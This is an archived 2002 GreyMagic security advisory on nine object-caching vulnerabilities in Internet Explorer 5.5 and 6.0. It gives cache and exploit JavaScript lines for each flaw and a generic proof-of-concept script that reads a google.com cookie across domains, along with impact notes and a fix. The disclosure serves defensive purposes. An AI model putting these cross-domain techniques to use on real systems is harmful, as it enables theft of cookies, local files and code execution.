GreyMagic Security Advisory GM#012-IE ===================================== By GreyMagic Software, Israel. 22 Oct 2002. Available in HTML format at http://security.greymagic.com/adv/gm012-ie/. Topic: Vulnerable cached objects in IE (9 advisories in 1). Discovery date: 4 Oct 2002, 17 Oct 2002, 21 Oct 2002. Affected applications: ====================== Microsoft Internet Explorer 5.5 and 6.0; prior versions and IE6 SP1 are not vulnerable. Note that any other application that uses Internet Explorer's engine (WebBrowser control) is affected as well (AOL Browser, MSN Explorer, etc.). Introduction: ============= When communicating between windows, security checks ensure that both pages are in the same security zone and on the same domain. These crucial security checks wrongly assume that certain methods and objects are only going to be called through their respective window. This assumption enables some cached methods and objects to provide interoperability between otherwise separated documents. Many security issues arise from storing references to objects that are supposed to be inaccessible when the page unloads. PivX lately disclosed such an issue in the <object> element, which left a valid reference in its "object" property. Discussion: =========== Through exhaustive research, we discovered nine vulnerabilities in Internet Explorer involving object caching, most of them highly critical. We're grouping all of these vulnerabilities into this advisory in order to avoid a flood and repetitive statements. Object caching takes place when the attacker opens a window to a page in his own site. The URL in the window is then changed to the victim page, but the cached references stay in place, providing direct access to the new document. All nine vulnerabilities are of the same general class (object caching). However, each of them is a separate vulnerability, which uses a unique method for exploitation. Each item in the list below consists of three parts, "Cache" shows how to cache the vulnerable object, "Exploit" shows how the vulnerability works in context and "Impact" details the implications of the vulnerability. "Full access" means access to any page's Document Object Model in any domain and any zone. The implications include (but not limited to) reading cookies from any domain, forging content in any URL, reading local files and executing arbitrary programs. 1. showModalDialog Cache: var fVuln=oWin.showModalDialog; Exploit - IE 5.5: fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,""); Exploit - IE 6: Not trivial but possible, by using our old "analyze.dlg" vulnerability. Impact: Full access in IE5.5, "My Computer" zone access in IE6. 2. external Cache: var oVuln=oWin.external; Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","",""); Impact: Full access. 3. createRange Cache: var fVuln=oWin.document.selection.createRange; Exploit: fVuln().pasteHTML("<img src=\"javascript:alert(document.cookie)\">"); Impact: Full access. 4. elementFromPoint Cache: var fVuln=oWin.document.elementFromPoint; Exploit: alert(fVuln(1,1).document.cookie); Impact: Full access. 5. getElementById Cache: var fVuln=oWin.document.getElementById; Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie); Impact: Full access. 6. getElementsByName Cache: var fVuln=oWin.document.getElementsByName; Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie); Impact: Full access. 7. getElementsByTagName Cache: var fVuln=oWin.document.getElementsByTagName; Exploit: alert(fVuln("BODY")[0].document.cookie); Impact: Full access. 8. execCommand Cache: var fVuln=oWin.document.execCommand; Exploit: fVuln("SelectAll"); fVuln("Copy"); alert(clipboardData.getData("text")); Impact: Read access to the loaded document. 9. clipboardData Cache: var oVuln=oWin.clipboardData; Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data"); Impact: Read/write access to the clipboard, regardless of settings. IE 5 SP2 and IE6 SP1 are not vulnerable. Exploit: ======== This generic exploit demonstrates how an attacker may read the client's "google.com" cookie using one of the cached objects above. <script language="jscript"> var oWin=open("blank.html","victim","width=100,height=100"); [Cache line here] location.href="http://google.com"; setTimeout( function () { [Exploit line(s) here] }, 3000 ); </script> Solution: ========= Until a patch becomes available either disable Active Scripting or upgrade to IE6 SP1. Tested on: ========== IE5.5 Win98. IE5.5 NT4. IE6 Win98. IE6 Win2000. IE6 WinXP. Demonstration: ============== We put together a single nine-in-one proof of concept demonstration, which can be found at http://security.greymagic.com/adv/gm012-ie/. Feedback: ========= Please mail any questions or comments to securityat_private - Copyright © 2002 GreyMagic Software.
This archive was generated by hypermail 2b30 : Tue Oct 22 2002 - 08:54:23 PDT